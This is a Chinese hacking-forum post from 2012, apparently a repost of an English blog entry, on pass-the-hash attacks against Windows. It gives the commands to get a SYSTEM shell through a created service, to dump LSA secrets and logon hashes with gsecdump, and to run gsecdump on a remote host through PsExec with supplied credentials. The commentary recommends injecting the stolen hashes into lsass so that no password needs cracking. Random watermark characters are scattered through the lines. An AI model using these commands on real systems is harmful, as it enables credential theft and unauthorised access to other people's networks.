找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2093|回复: 0
打印 上一主题 下一主题

HASH注入式攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:09:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
o get a DOS Prompt as NT system:
; V/ B' r. `8 x. ]" Z  K4 w! Y
( O# M4 L/ Z% @C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
+ {0 m0 @; E8 n2 b: w) Q[SC] CreateService SUCCESS
  R2 ^0 m9 n9 e& h- x8 P2 L9 `5 `  q; ]( f& p
C:\>sc start shellcmdline
8 z2 r7 V. T' a/ z& ]$ k' n- y, K[SC] StartService FAILED 1053:
* L. W, m5 b6 M- g$ L! [/ @2 E0 }* `3 v% n
The service did not respond to the start or control request in a timely fashion.6 D% A3 X: g; D% \

% M  p5 ^) U7 f& G; fC:\>sc delete shellcmdline# r! R! C! l1 Q0 A( d  {8 x
[SC] DeleteService SUCCESS
: z. d$ }+ W" d8 {7 a' l
- }3 y: p. p8 h) |" \------------
1 g- T4 _( c$ P4 d3 c3 j: X3 K1 a7 z1 |" _
Then in the new DOS window:
( n. S/ {5 R4 }4 |9 X5 _6 o& ^6 r9 D( O
Microsoft Windows XP [Version 5.1.2600]9 M. K7 B! v4 q# _
(C) Copyright 1985-2001 Microsoft Corp.
" E* G8 |6 q- A  K. Z* C" P4 x! I6 H6 M% q; W, }
C:\WINDOWS\system32>whoami: L0 N5 Y* u$ H3 h
NT AUTHORITY\SYSTEM7 v3 d# t5 v- M! ?

; z+ a  v) ]" N8 e0 AC:\WINDOWS\system32>gsecdump -h+ ]" c0 D  U' o: G1 d4 D
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
+ Q; o$ S5 l: E# L- u0 x! fusage: gsecdump [options]$ y0 k$ F# z  Q7 N  X8 U6 h5 B

  D8 x5 Z8 ], _; Noptions:
1 q1 Q9 F! r- |5 J  Q- J$ t-h [ --help ] show help
* C: n4 P7 N& d2 g, {' U0 v-a [ --dump_all ] dump all secrets' m1 a5 @0 g$ ]; N
-l [ --dump_lsa ] dump lsa secrets
1 N6 ^! p/ g& k6 z! G3 M-w [ --dump_wireless ] dump microsoft wireless connections
1 ^; b( |, @# Z( C" T/ f/ f2 |-u [ --dump_usedhashes ] dump hashes from active logon sessions
3 o$ J+ u5 O: d5 v-s [ --dump_hashes ] dump hashes from SAM/AD
, Y. ^+ F, T- H; l+ z* R0 m+ B
! Y+ Q: k4 g, T  s& ]- AAlthough I like to use:+ D% {% B% X- _) W8 q; V# q

% R3 _/ d& M2 M6 b) u6 p  LPsExec v1.83 - Execute processes remotely
1 q4 M& D* _, P6 c# G: p/ d. x# P& LCopyright (C) 2001-2007 Mark Russinovich* z) z( k0 K) h8 x7 k* p
Sysinternals - 链接标记[url]www.sysinternals.com[/url]: G5 A$ K. C- U! e; z  ^- N

+ T7 |  H  q& S$ i; s: _C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT/ D. O, |) k/ I  X$ P2 O

9 W- G* U- M# T, Mto get the hashes from active logon sessions of a remote system." P9 @; B5 C; W: b* t" X
  f& I9 S% D- M' Y
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.1 l0 i+ X0 {: }1 L5 ^

; d! r' I7 w. [0 f9 m提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
; T* T. w% W/ K* ?/ [3 R* y1 I原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
, J( U& ~& h, ?8 u* ?9 O+ g8 D  Q3 {9 C
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
; D2 K% }5 i) Y5 c1 ^. _% S* b) \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表